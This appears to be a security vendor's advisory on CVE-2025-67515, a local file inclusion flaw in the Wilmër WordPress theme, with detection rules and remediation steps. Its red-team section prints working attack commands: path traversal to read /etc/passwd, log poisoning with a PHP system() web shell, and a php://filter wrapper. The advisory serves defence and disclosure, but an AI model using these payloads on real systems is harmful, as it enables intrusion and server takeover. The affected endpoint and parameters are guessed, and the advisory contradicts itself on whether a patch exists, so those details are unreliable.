CVE-2025-67515
Executive Summary
CVE-2025-67515 is a critical PHP Local File Inclusion (LFI) vulnerability in the Wilmër WordPress theme developed by Mikado-Themes (Qodeinteractive). The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.8 reflects the high impact and low complexity of exploitation. No public proof-of-concept or patch is currently available, making this a high-priority unpatched threat for all sites running Wilmër versions below 3.5.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the WordPress ecosystem. Since it is a commercial theme, it is not available on public package registries like Packagist or WordPress.org. Users must obtain patches directly from the vendor (Qodeinteractive). The lack of a public patch or advisory increases supply chain risk for organizations using this theme.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): High (H) – Potential to modify files via log injection.
- Availability (A): High (H) – Could lead to denial of service or full compromise.
Threat Level: Critical – Unpatched, remotely exploitable, and high impact.
Deep Dive & Mechanics
The vulnerability exists in the Wilmër theme's PHP code, likely in a file that handles template loading or shortcode rendering. The theme uses a user-controllable parameter (e.g., page, template, or include) in a PHP include() or require() statement without proper sanitization or path restriction. An attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to include arbitrary files from the server.
Root Cause: The theme fails to validate or restrict the input used in the include/require function, allowing directory traversal. This is a classic CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program).
Attack Flow:
- Attacker identifies a vulnerable endpoint (e.g.,
/?page=../../../../etc/passwd%00). - The theme passes the parameter directly to
include(). - PHP includes the target file, outputting its contents to the attacker.
- For RCE, the attacker can poison log files (e.g., Apache access log) with PHP code and then include the log file.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
<?php
// vulnerable.php
$page = $_GET['page'];
include($page . '.php');
?>
Patched Code (Example):
<?php
// patched.php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
// Default page
include('home.php');
}
?>
Key Differences:
- Input Validation: Patched code uses a whitelist of allowed values.
- Path Restriction: Patched code prevents directory traversal by not allowing arbitrary paths.
- Error Handling: Patched code falls back to a default file instead of exposing errors.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- WordPress 6.x with Wilmër theme < 3.5
- Apache/Nginx with PHP 7.4+
- Attacker machine with curl or browser
Exploitation Steps:
Basic LFI (File Read):
curl "http://target.com/?page=../../../../etc/passwd"Expected output: Contents of
/etc/passwd.LFI to RCE via Log Poisoning:
- Inject PHP code into Apache access log:
curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/" - Include the log file:
curl "http://target.com/?page=../../../../var/log/apache2/access.log&cmd=id"
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)- Inject PHP code into Apache access log:
LFI to RCE via PHP Wrappers (if enabled):
curl "http://target.com/?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
Blue Team (Defensive)
Detection & Response:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Block requests containing
../../in query parameters. - Use WAF rules to detect LFI attempts (e.g., ModSecurity rule 950907).
- Disable
allow_url_includeandallow_url_fopenin PHP. - Restrict file permissions on sensitive files (e.g.,
wp-config.php).
Honeypot:
- Deploy a fake
wp-config.phpwith a decoy database password to alert on access.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
page=,template=, orinclude=parameters containing../or%2e%2e%2f. - User-Agent strings containing PHP code (e.g.,
<?php system(...); ?>). - Outbound connections from the web server to attacker-controlled IPs (post-exploitation).
- HTTP requests with
File System IOCs:
- Unexpected files in
/tmp/or web root (e.g.,shell.php). - Modified log files (e.g., Apache access log containing PHP code).
- Presence of
/etc/passwdorwp-config.phpin web server error logs.
- Unexpected files in
Process IOCs:
- PHP processes executing with unusual arguments (e.g.,
php -r "system(...)"). - Web server user (www-data) spawning shells.
- PHP processes executing with unusual arguments (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_67515_LFI_Attempt {
meta:
description = "Detects LFI attempts targeting CVE-2025-67515 in Wilmër theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67515"
strings:
$lfi_pattern1 = /page=[^&]*\.\.\// nocase
$lfi_pattern2 = /template=[^&]*\.\.\// nocase
$lfi_pattern3 = /include=[^&]*\.\.\// nocase
$php_code = /<\?php/i
condition:
any of ($lfi_pattern*) or ($lfi_pattern* and $php_code)
}
Sigma Rule
title: CVE-2025-67515 Wilmër LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Wilmër theme parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'page=../'
- 'template=../'
- 'include=../'
- 'page=%2e%2e%2f'
- 'template=%2e%2e%2f'
- 'include=%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of relative paths in custom code (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"page=../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"template=../"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"include=../"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"page=%2e%2e%2f"; http_uri; nocase; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"template=%2e%2e%2f"; http_uri; nocase; sid:1000005; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"include=%2e%2e%2f"; http_uri; nocase; sid:1000006; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Wilmër theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
- Apply a virtual patch using a Web Application Firewall (WAF) to block LFI patterns.
- Disable PHP
allow_url_includeandallow_url_fopeninphp.ini. - Restrict file permissions on sensitive files (e.g.,
chmod 600 wp-config.php).
Long-Term Fix:
- Contact Qodeinteractive for an official patch or update to version 3.5+.
- Implement input validation and whitelisting for all user-supplied parameters used in file operations.
- Conduct a security audit of all custom themes and plugins.
Workaround:
- Add the following to
.htaccessto block LFI attempts:RewriteEngine On RewriteCond %{QUERY_STRING} (page|template|include)=.*\.\.\/ [NC,OR] RewriteCond %{QUERY_STRING} (page|template|include)=.*%2e%2e%2f [NC] RewriteRule .* - [F,L]
Valters IT
Securing Digital Frontiers